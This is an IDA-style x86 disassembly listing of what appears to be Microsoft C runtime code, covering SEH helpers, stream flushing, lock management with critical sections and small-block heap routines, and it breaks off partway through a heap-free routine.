		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_4161CC
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4162C0
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41628E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162C0	proc near		; CODE XREF: sub_41628E+24p
					; DATA XREF: .rdata:stru_427A08o
		push	0Ch
		call	sub_41686D
		pop	ecx
		retn
sub_4162C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4162D0	proc near		; CODE XREF: sub_41554C+832p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4162E9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4162E9:				; CODE XREF: sub_4162D0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4162D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416304	proc near		; CODE XREF: sub_416387+4Cp
					; sub_41BFAD+2DCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_41B76B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416352
		cmp	esi, 1
		jz	short loc_416320
		cmp	esi, 2
		jnz	short loc_416336


loc_416320:				; CODE XREF: sub_416304+15j
		push	2
		call	sub_41B76B
		push	1
		mov	edi, eax
		call	sub_41B76B
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_416352


loc_416336:				; CODE XREF: sub_416304+1Aj
		push	esi
		call	sub_41B76B
		pop	ecx
		push	eax
		call	ds:dword_41F034
		test	eax, eax
		jnz	short loc_416352
		call	ds:dword_41F008
		mov	edi, eax
		jmp	short loc_416354
; ---------------------------------------------------------------------------


loc_416352:				; CODE XREF: sub_416304+10j
					; sub_416304+30j ...
		xor	edi, edi


loc_416354:				; CODE XREF: sub_416304+4Cj
		push	esi
		call	sub_41B6EC
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_47A2E0[eax*4]
		and	esi, 1Fh
		pop	ecx
		lea	ecx, [esi+esi*8]
		and	byte ptr [eax+ecx*4+4],	0
		test	edi, edi
		jz	short loc_416382
		push	edi
		call	sub_417C82
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_416384
; ---------------------------------------------------------------------------


loc_416382:				; CODE XREF: sub_416304+70j
		xor	eax, eax


loc_416384:				; CODE XREF: sub_416304+7Cj
		pop	edi
		pop	esi
		retn
sub_416304	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416387	proc near		; CODE XREF: sub_412F47+20p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00416406 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_427A18
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_416406
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_416406
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4163DE
		push	ebx
		call	sub_416304
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------


loc_4163DE:				; CODE XREF: sub_416387+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_4163ED:				; CODE XREF: sub_416387+55j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4163FE
		mov	eax, [ebp+var_1C]
		jmp	short loc_41641C
sub_416387	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163FB	proc near		; DATA XREF: .rdata:stru_427A18o
		mov	ebx, [ebp+8]
sub_4163FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4163FE	proc near		; CODE XREF: sub_416387+6Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_4163FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416387


loc_416406:				; CODE XREF: sub_416387+15j
					; sub_416387+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41641C:				; CODE XREF: sub_416387+72j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_416387

; =============== S U B	R O U T	I N E =======================================



sub_416422	proc near		; CODE XREF: sub_412F47+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41644B
		test	al, 8
		jz	short loc_41644B
		push	dword ptr [esi+8]
		call	sub_412FE4
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41644B:				; CODE XREF: sub_416422+Aj
					; sub_416422+Ej
		pop	esi
		retn
sub_416422	endp


; =============== S U B	R O U T	I N E =======================================



sub_41644D	proc near		; CODE XREF: sub_412F47+10p
					; sub_414809+38p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_41649C
		test	ax, 108h
		jz	short loc_41649C
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41649B
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41A961
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_416494
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_41649B
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_41649B
; ---------------------------------------------------------------------------


loc_416494:				; CODE XREF: sub_41644D+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41649B:				; CODE XREF: sub_41644D+25j
					; sub_41644D+3Dj ...
		pop	edi


loc_41649C:				; CODE XREF: sub_41644D+13j
					; sub_41644D+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_41644D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164AA	proc near		; CODE XREF: sub_4164D8+67p
					; sub_4164D8+82p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41644D
		test	eax, eax
		pop	ecx
		jz	short loc_4164BF
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4164BF:				; CODE XREF: sub_4164AA+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4164D4
		push	dword ptr [esi+10h]
		call	sub_41B98E
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4164D4:				; CODE XREF: sub_4164AA+19j
		xor	eax, eax
		pop	esi
		retn
sub_4164AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4164D8	proc near		; CODE XREF: sub_4165AD+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00416589 SIZE 0000001B BYTES

		push	14h
		push	offset stru_427A28
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], edi
		push	1
		call	sub_416901
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi


loc_4164F9:				; CODE XREF: sub_4164D8+99j
		mov	[ebp+var_24], esi
		cmp	esi, dword_47B660
		jge	loc_416589
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		cmp	eax, edi
		jz	short loc_416570
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_416570
		push	eax
		push	esi
		call	sub_4166A2
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_416568
		cmp	[ebp+arg_0], edx
		jnz	short loc_41654F
		push	eax
		call	sub_4164AA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416568
		inc	[ebp+var_1C]
		jmp	short loc_416568
; ---------------------------------------------------------------------------


loc_41654F:				; CODE XREF: sub_4164D8+64j
		cmp	[ebp+arg_0], edi
		jnz	short loc_416568
		test	cl, 2
		jz	short loc_416568
		push	eax
		call	sub_4164AA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416568
		or	[ebp+var_20], eax


loc_416568:				; CODE XREF: sub_4164D8+5Fj
					; sub_4164D8+70j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_416578


loc_416570:				; CODE XREF: sub_4164D8+3Aj
					; sub_4164D8+40j
		inc	esi
		jmp	short loc_4164F9
sub_4164D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_416573	proc near		; DATA XREF: .rdata:00427A3Co
		xor	edi, edi
		mov	esi, [ebp-24h]
sub_416573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416578	proc near		; CODE XREF: sub_4164D8+93p
		mov	eax, dword_47A644
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_4166F4
		pop	ecx
		pop	ecx
		retn
sub_416578	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4164D8


loc_416589:				; CODE XREF: sub_4164D8+2Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4165A4
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_41659E
		mov	eax, [ebp+var_20]


loc_41659E:				; CODE XREF: sub_4164D8+C1j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_4164D8

; =============== S U B	R O U T	I N E =======================================



sub_4165A4	proc near		; CODE XREF: sub_4164D8+B5p
					; DATA XREF: .rdata:stru_427A28o
		push	1
		call	sub_41686D
		pop	ecx
		retn
sub_4165A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165AD	proc near		; CODE XREF: sub_41665Fp
		push	1
		call	sub_4164D8
		pop	ecx
		retn
sub_4165AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165B6	proc near		; DATA XREF: .data:0042A010o
		mov	eax, dword_47B660
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_4165CA
		mov	eax, 200h
		jmp	short loc_4165D0
; ---------------------------------------------------------------------------


loc_4165CA:				; CODE XREF: sub_4165B6+Bj
		cmp	eax, esi
		jge	short loc_4165D5
		mov	eax, esi


loc_4165D0:				; CODE XREF: sub_4165B6+12j
		mov	dword_47B660, eax


loc_4165D5:				; CODE XREF: sub_4165B6+16j
		push	4
		push	eax
		call	sub_41AB01
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_47A644, eax
		jnz	short loc_416606
		push	4
		push	esi
		mov	dword_47B660, esi
		call	sub_41AB01
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_47A644, eax
		jnz	short loc_416606
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416606:				; CODE XREF: sub_4165B6+30j
					; sub_4165B6+49j
		xor	edx, edx
		mov	ecx, offset off_42C900
		jmp	short loc_416614
; ---------------------------------------------------------------------------


loc_41660F:				; CODE XREF: sub_4165B6+6Dj
		mov	eax, dword_47A644


loc_416614:				; CODE XREF: sub_4165B6+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_42CB80
		jl	short loc_41660F
		xor	ecx, ecx
		mov	edx, offset dword_42C910


loc_41662C:				; CODE XREF: sub_4165B6+A3j
		mov	esi, ecx
		mov	eax, ecx
		and	eax, 1Fh
		sar	esi, 5
		mov	esi, dword_47A2E0[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41664C
		test	eax, eax
		jnz	short loc_41664F


loc_41664C:				; CODE XREF: sub_4165B6+90j
		or	dword ptr [edx], 0FFFFFFFFh


loc_41664F:				; CODE XREF: sub_4165B6+94j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_42C970
		jl	short loc_41662C
		xor	eax, eax
		pop	esi
		retn
sub_4165B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41665F	proc near		; DATA XREF: .data:0042A02Co

; FUNCTION CHUNK AT 0041BA4A SIZE 00000092 BYTES

		call	sub_4165AD
		cmp	byte_479E94, 0
		jz	short locret_416672
		jmp	loc_41BA4A
; ---------------------------------------------------------------------------

locret_416672:				; CODE XREF: sub_41665F+Cj
		retn
sub_41665F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416673	proc near		; CODE XREF: sub_412F93+27p
					; sub_41313E+Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_42C900
		cmp	eax, ecx
		jb	short loc_416697
		cmp	eax, offset dword_42CB60
		ja	short loc_416697
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_416901
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_416697:				; CODE XREF: sub_416673+Bj
					; sub_416673+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41F01C
		retn
sub_416673	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166A2	proc near		; CODE XREF: sub_4164D8+44p
					; sub_417CF5+66p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_4166B6
		add	eax, 10h
		push	eax
		call	sub_416901
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4166B6:				; CODE XREF: sub_4166A2+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41F01C
		retn
sub_4166A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166C5	proc near		; CODE XREF: sub_412FDC+1p
					; sub_413180+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_42C900
		cmp	eax, ecx
		jb	short loc_4166E9
		cmp	eax, offset dword_42CB60
		ja	short loc_4166E9
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_41686D
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4166E9:				; CODE XREF: sub_4166C5+Bj
					; sub_4166C5+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41F018
		retn
sub_4166C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166F4	proc near		; CODE XREF: sub_416578+9p
					; sub_417CF5+7Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_416708
		add	eax, 10h
		push	eax
		call	sub_41686D
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_416708:				; CODE XREF: sub_4166F4+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41F018
		retn
sub_4166F4	endp

; ---------------------------------------------------------------------------
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_416764	proc near		; CODE XREF: sub_41677E+20p
		cmp	dword_479E5C, 2
		jnz	short loc_41677A
		cmp	dword_479E68, 5
		jb	short loc_41677A
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41677A:				; CODE XREF: sub_416764+7j
					; sub_416764+10j
		push	3
		pop	eax
		retn
sub_416764	endp


; =============== S U B	R O U T	I N E =======================================



sub_41677E	proc near		; CODE XREF: .text:004149F3p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	ds:dword_41F16C
		test	eax, eax
		mov	dword_47A63C, eax
		jz	short loc_4167C8
		call	sub_416764
		cmp	eax, 3
		mov	dword_47A640, eax
		jnz	short loc_4167CB
		push	3F8h
		call	sub_416932
		test	eax, eax
		pop	ecx
		jnz	short loc_4167CB
		push	dword_47A63C
		call	ds:dword_41F168


loc_4167C8:				; CODE XREF: sub_41677E+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4167CB:				; CODE XREF: sub_41677E+2Dj
					; sub_41677E+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_41677E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167CF	proc near		; CODE XREF: sub_4154C7p
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_479EC0


loc_4167D8:				; CODE XREF: sub_4167CF+35j
		cmp	dword_42CB8C[esi*8], 1
		jnz	short loc_416800
		lea	eax, ds:42CB88h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41680C


loc_416800:				; CODE XREF: sub_4167CF+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_4167D8
		xor	eax, eax
		inc	eax


loc_416809:				; CODE XREF: sub_4167CF+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41680C:				; CODE XREF: sub_4167CF+2Fj
		and	off_42CB88[esi*8], 0
		xor	eax, eax
		jmp	short loc_416809
sub_4167CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416818	proc near		; CODE XREF: sub_415438p
		push	ebx
		mov	ebx, ds:dword_41F024
		push	esi
		mov	esi, offset off_42CB88
		push	edi


loc_416826:				; CODE XREF: sub_416818+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_41683F
		cmp	dword ptr [esi+4], 1
		jz	short loc_41683F
		push	edi
		call	ebx
		push	edi
		call	sub_412FE4
		and	dword ptr [esi], 0
		pop	ecx


loc_41683F:				; CODE XREF: sub_416818+12j
					; sub_416818+18j
		add	esi, 8
		cmp	esi, offset dword_42CCA8
		jl	short loc_416826
		mov	esi, offset off_42CB88
		pop	edi


loc_416850:				; CODE XREF: sub_416818+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41685F
		cmp	dword ptr [esi+4], 1
		jnz	short loc_41685F
		push	eax
		call	ebx


loc_41685F:				; CODE XREF: sub_416818+3Cj
					; sub_416818+42j
		add	esi, 8
		cmp	esi, offset dword_42CCA8
		jl	short loc_416850
		pop	esi
		pop	ebx
		retn
sub_416818	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41686D	proc near		; CODE XREF: sub_413037+2p
					; sub_4132F2+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_42CB88[eax*8]
		call	ds:dword_41F018
		pop	ebp
		retn
sub_41686D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416882	proc near		; CODE XREF: sub_416901+14p
					; sub_417CF5+4Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		lea	esi, ds:42CB88h[esi*8]
		cmp	dword ptr [esi], 0
		jz	short loc_41689A
		xor	eax, eax
		inc	eax
		jmp	short loc_4168FE
; ---------------------------------------------------------------------------


loc_41689A:				; CODE XREF: sub_416882+11j
		push	edi
		push	18h
		call	sub_41344D
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_4168B8


loc_4168A9:				; CODE XREF: sub_416882+63j
		call	sub_417C70
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_4168FD
; ---------------------------------------------------------------------------


loc_4168B8:				; CODE XREF: sub_416882+25j
		push	0Ah
		call	sub_416901
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_4168EB
		push	0FA0h
		push	edi
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4168E7
		push	edi
		call	sub_412FE4
		push	0Ah
		call	sub_41686D
		pop	ecx
		pop	ecx
		jmp	short loc_4168A9
; ---------------------------------------------------------------------------


loc_4168E7:				; CODE XREF: sub_416882+52j
		mov	[esi], edi
		jmp	short loc_4168F2
; ---------------------------------------------------------------------------


loc_4168EB:				; CODE XREF: sub_416882+41j
		push	edi
		call	sub_412FE4
		pop	ecx


loc_4168F2:				; CODE XREF: sub_416882+67j
		push	0Ah
		call	sub_41686D
		xor	eax, eax
		pop	ecx
		inc	eax


loc_4168FD:				; CODE XREF: sub_416882+34j
		pop	edi


loc_4168FE:				; CODE XREF: sub_416882+16j
		pop	esi
		pop	ebp
		retn
sub_416882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416901	proc near		; CODE XREF: sub_412FE4+1Ep
					; sub_41318A+51p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:42CB88h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_416927
		push	eax
		call	sub_416882
		test	eax, eax
		pop	ecx
		jnz	short loc_416927
		push	11h
		call	sub_4148E1
		pop	ecx


loc_416927:				; CODE XREF: sub_416901+11j
					; sub_416901+1Cj
		push	dword ptr [esi]
		call	ds:dword_41F01C
		pop	esi
		pop	ebp
		retn
sub_416901	endp


; =============== S U B	R O U T	I N E =======================================



sub_416932	proc near		; CODE XREF: sub_41677E+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_47A63C
		call	ds:dword_41F13C
		test	eax, eax
		mov	dword_47A628, eax
		jnz	short loc_41694F
		retn
; ---------------------------------------------------------------------------


loc_41694F:				; CODE XREF: sub_416932+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_47A620, 0
		and	dword_47A624, 0
		mov	dword_47A630, eax
		xor	eax, eax
		mov	dword_47A62C, ecx
		mov	dword_47A634, 10h
		inc	eax
		retn
sub_416932	endp


; =============== S U B	R O U T	I N E =======================================



sub_41697A	proc near		; CODE XREF: sub_412FE4+29p
					; sub_41318A+5Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_47A624
		lea	ecx, [eax+eax*4]
		mov	eax, dword_47A628
		lea	ecx, [eax+ecx*4]
		jmp	short loc_41699E
; ---------------------------------------------------------------------------


loc_41698C:				; CODE XREF: sub_41697A+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4169A4
		add	eax, 14h


loc_41699E:				; CODE XREF: sub_41697A+10j
		cmp	eax, ecx
		jb	short loc_41698C
		xor	eax, eax

locret_4169A4:				; CODE XREF: sub_41697A+1Fj
		retn
sub_41697A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169A5	proc near		; CODE XREF: sub_412FE4+38p
					; sub_41318A+B8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_416CB9
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_416A70
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_416A08
		push	3Fh
		pop	edx


loc_416A08:				; CODE XREF: sub_4169A5+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_416A52
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_416A33
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416A4F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_416A4F
; ---------------------------------------------------------------------------


loc_416A33:				; CODE XREF: sub_4169A5+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416A4F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_416A4F:				; CODE XREF: sub_4169A5+85j
					; sub_4169A5+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_416A52:				; CODE XREF: sub_4169A5+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_416A70:				; CODE XREF: sub_4169A5+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_416A7E
		push	3Fh
		pop	edx


loc_416A7E:				; CODE XREF: sub_4169A5+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_416B1C
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_416AA3
		mov	ebx, esi


loc_416AA3:				; CODE XREF: sub_4169A5+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_416AB5
		mov	edx, esi


loc_416AB5:				; CODE XREF: sub_4169A5+10Cj
		cmp	ebx, edx
		jz	short loc_416B17
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_416AFF
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_416AE5
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_416AFF
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_416AFF
; ---------------------------------------------------------------------------


loc_416AE5:				; CODE XREF: sub_4169A5+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_416AFF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_416AFF:				; CODE XREF: sub_4169A5+11Dj
					; sub_4169A5+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_416B17:				; CODE XREF: sub_4169A5+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_416B1F
; ---------------------------------------------------------------------------


loc_416B1C:				; CODE XREF: sub_4169A5+E2j
		mov	ebx, [ebp+arg_0]


loc_416B1F:				; CODE XREF: sub_4169A5+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_416B2D
		cmp	ebx, edx
		jz	loc_416BAD


loc_416B2D:				; CODE XREF: sub_4169A5+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_416BAD
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_416B84
